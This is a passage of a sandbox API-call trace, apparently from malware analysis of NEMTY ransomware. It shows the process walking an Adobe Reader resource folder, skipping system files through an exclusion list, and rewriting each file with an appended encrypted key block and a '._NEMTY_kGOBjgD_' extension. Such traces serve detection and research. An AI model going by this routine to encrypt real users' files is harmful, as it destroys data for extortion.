pszString="svsSo0Mg6dIEMkVgQcm35raeeq4N7LmiariWKotL0cmMhgrjgYZohUbo1Ypz97Wj\r\nkcTHXKh3aX4okng4EfJr48OO2sGrwIOy3HdeL4dyxt+lU3ssxsg1U2lqfOKhmrTq\r\nDO0vGyMKML0gkl+vwnOmfMPopSQkat1WV5FGOGQlL9dclyiZYU5kCXMyi1Ky2hGx\r\n48cH6zI/Y0aUeq21Zs2o0iwldGirxQg4DZ/NendpPws3eW6LKbUpzFGgdcvcYJQQ\r\nW51Pj8RiDVWRGaQCEzSGrG2F6XHzf+xwfCarq8joSsJz1sAD2hPSNNduKJokI+Nj\r\n6NkHB1Wb3QgLQLReuk9ZuA==\r\n", pcchString=0x653e5dc) returned 1 [0216.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0216.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.357] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.357] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28022) returned 1 [0216.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6d70) returned 0x6352c48 [0216.357] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.357] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6d70, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6d70, lpOverlapped=0x0) returned 1 [0216.360] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.360] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6d70, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6d70, lpOverlapped=0x0) returned 1 [0216.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.361] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28022, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d76 [0216.361] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.361] CloseHandle (hObject=0x2e8) returned 1 [0216.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.361] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk.txt._nemty_kgobjgd_")) returned 1 [0216.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.362] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2a9280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d76, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.sk_SK.txt", cAlternateFileName="DI9804~1.TXT")) returned 1 [0216.362] lstrcmpiW (lpString1="DisplayLanguageNames.sk_SK.txt", lpString2=".") returned 1 [0216.362] lstrcmpiW (lpString1="DisplayLanguageNames.sk_SK.txt", lpString2="..") returned 1 [0216.362] lstrcmpiW (lpString1="DisplayLanguageNames.sk_SK.txt", lpString2="...") returned 1 [0216.362] lstrcmpiW (lpString1="DisplayLanguageNames.sk_SK.txt", lpString2="windows") returned -1 [0216.362] lstrcmpiW (lpString1="DisplayLanguageNames.sk_SK.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.362] lstrcmpiW (lpString1="DisplayLanguageNames.sk_SK.txt", lpString2="rsa") returned -1 [0216.362] lstrcmpiW (lpString1="DisplayLanguageNames.sk_SK.txt", lpString2="NTDETECT.COM") returned -1 [0216.362] lstrcmpiW (lpString1="DisplayLanguageNames.sk_SK.txt", lpString2="ntldr") returned -1 [0216.362] lstrcmpiW (lpString1="DisplayLanguageNames.sk_SK.txt", lpString2="MSDOS.SYS") returned -1 [0216.362] lstrcmpiW (lpString1="DisplayLanguageNames.sk_SK.txt", lpString2="IO.SYS") returned -1 [0216.362] lstrcmpiW (lpString1="DisplayLanguageNames.sk_SK.txt", lpString2="boot.ini") returned 1 [0216.362] lstrcmpiW (lpString1="DisplayLanguageNames.sk_SK.txt", lpString2="boot.ini") returned 1 [0216.362] lstrcmpiW (lpString1="DisplayLanguageNames.sk_SK.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.362] lstrcmpiW (lpString1="DisplayLanguageNames.sk_SK.txt", lpString2="ntuser.dat") returned -1 [0216.362] lstrcmpiW (lpString1="DisplayLanguageNames.sk_SK.txt", lpString2="desktop.ini") returned 1 [0216.362] lstrcmpiW (lpString1="DisplayLanguageNames.sk_SK.txt", lpString2="CONFIG.SYS") returned 1 [0216.362] lstrcmpiW (lpString1="DisplayLanguageNames.sk_SK.txt", lpString2="RECYCLER") returned -1 [0216.362] lstrcmpiW (lpString1="DisplayLanguageNames.sk_SK.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.362] lstrcmpiW (lpString1="DisplayLanguageNames.sk_SK.txt", lpString2="bootmgr") returned 1 [0216.362] lstrcmpiW (lpString1="DisplayLanguageNames.sk_SK.txt", lpString2="programdata") returned -1 [0216.362] lstrcmpiW (lpString1="DisplayLanguageNames.sk_SK.txt", lpString2="appdata") returned 1 [0216.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sk_SK.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sk_SK.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sk_SK.txt", lpUsedDefaultChar=0x0) returned 30 [0216.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sk_SK.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sk_SK.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sk_SK.txt", lpUsedDefaultChar=0x0) returned 30 [0216.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sk_SK.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sk_SK.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sk_SK.txt", lpUsedDefaultChar=0x0) returned 30 [0216.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sk_SK.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sk_SK.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sk_SK.txt", lpUsedDefaultChar=0x0) returned 30 [0216.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.363] Sleep (dwMilliseconds=0x5) [0216.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x349aa290, dwHighDateTime=0x1d561e8)) [0216.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x349aa290, dwHighDateTime=0x1d561e8)) [0216.370] GetLastError () returned 0x0 [0216.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.370] GetLastError () returned 0x0 [0216.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.370] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.370] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.370] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0216.370] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="Q4dVlhJEKp0EuSHggtf6WF6A/W3UJMCyAeZv5kQqD+iBary/doedS1YqlGFME7Zx\r\nHxrIVkY26IZXY0t/uQm+s0c4dxlRXlEuiPt3FzU5JJmOCC4CYsAzi6PWrHc+ZH1a\r\nlTdmedNs6l/2Ln8V6mF6wYx8fiwm/DgMoXOPNe21QL9sARkNugXiL41fJZfIXbc9\r\nb/Wr3V0B4BJ9Mt3Xpk4exttdeV+3djBIW7VvRzdWUGCSRSVobela++NSS0KbASLT\r\n15000iVW7v0TuYcbNhrS20t/kJbdWhmizWm2xEik4Wv7CUyhaHc2hMIQkPArKdt2\r\n09dZWzXOl3KgLAs2qu4Lgw==\r\n", pcchString=0x653e5dc) returned 1 [0216.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0216.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.370] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk_SK.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk_sk.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.371] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28022) returned 1 [0216.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6d70) returned 0x6352c48 [0216.371] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.371] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6d70, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6d70, lpOverlapped=0x0) returned 1 [0216.374] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.374] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6d70, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6d70, lpOverlapped=0x0) returned 1 [0216.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.374] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28022, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d76 [0216.374] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.374] CloseHandle (hObject=0x2e8) returned 1 [0216.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.375] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.375] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.375] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk_SK.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk_sk.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk_SK.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk_sk.txt._nemty_kgobjgd_")) returned 1 [0216.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.376] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ef0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.sl.txt", cAlternateFileName="DIF8FC~1.TXT")) returned 1 [0216.376] lstrcmpiW (lpString1="DisplayLanguageNames.sl.txt", lpString2=".") returned 1 [0216.376] lstrcmpiW (lpString1="DisplayLanguageNames.sl.txt", lpString2="..") returned 1 [0216.376] lstrcmpiW (lpString1="DisplayLanguageNames.sl.txt", lpString2="...") returned 1 [0216.376] lstrcmpiW (lpString1="DisplayLanguageNames.sl.txt", lpString2="windows") returned -1 [0216.376] lstrcmpiW (lpString1="DisplayLanguageNames.sl.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.376] lstrcmpiW (lpString1="DisplayLanguageNames.sl.txt", lpString2="rsa") returned -1 [0216.376] lstrcmpiW (lpString1="DisplayLanguageNames.sl.txt", lpString2="NTDETECT.COM") returned -1 [0216.376] lstrcmpiW (lpString1="DisplayLanguageNames.sl.txt", lpString2="ntldr") returned -1 [0216.376] lstrcmpiW (lpString1="DisplayLanguageNames.sl.txt", lpString2="MSDOS.SYS") returned -1 [0216.376] lstrcmpiW (lpString1="DisplayLanguageNames.sl.txt", lpString2="IO.SYS") returned -1 [0216.376] lstrcmpiW (lpString1="DisplayLanguageNames.sl.txt", lpString2="boot.ini") returned 1 [0216.376] lstrcmpiW (lpString1="DisplayLanguageNames.sl.txt", lpString2="boot.ini") returned 1 [0216.376] lstrcmpiW (lpString1="DisplayLanguageNames.sl.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.376] lstrcmpiW (lpString1="DisplayLanguageNames.sl.txt", lpString2="ntuser.dat") returned -1 [0216.376] lstrcmpiW (lpString1="DisplayLanguageNames.sl.txt", lpString2="desktop.ini") returned 1 [0216.376] lstrcmpiW (lpString1="DisplayLanguageNames.sl.txt", lpString2="CONFIG.SYS") returned 1 [0216.376] lstrcmpiW (lpString1="DisplayLanguageNames.sl.txt", lpString2="RECYCLER") returned -1 [0216.376] lstrcmpiW (lpString1="DisplayLanguageNames.sl.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.376] lstrcmpiW (lpString1="DisplayLanguageNames.sl.txt", lpString2="bootmgr") returned 1 [0216.376] lstrcmpiW (lpString1="DisplayLanguageNames.sl.txt", lpString2="programdata") returned -1 [0216.376] lstrcmpiW (lpString1="DisplayLanguageNames.sl.txt", lpString2="appdata") returned 1 [0216.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sl.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sl.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sl.txt", lpUsedDefaultChar=0x0) returned 27 [0216.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sl.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sl.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sl.txt", lpUsedDefaultChar=0x0) returned 27 [0216.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 